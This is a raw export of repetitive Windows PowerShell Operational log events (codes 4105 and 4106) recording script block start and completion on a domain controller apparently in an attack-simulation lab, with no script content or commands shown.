RecordNumber=1468463
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468462
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468461
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468460
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468459
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468458
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468457
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468456
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468455
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468454
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468453
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468452
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468451
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468450
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468449
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468448
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468447
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468446
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468445
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468444
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468443
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468442
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468441
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468440
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468439
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468438
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468437
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468436
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468435
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468434
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468433
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468432
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468431
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468430
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468429
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468428
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468427
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468426
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468425
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468424
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468423
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468422
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468421
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468420
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468419
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468418
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468417
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468416
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468415
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468414
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468413
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468412
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468411
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468410
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468409
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468408
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
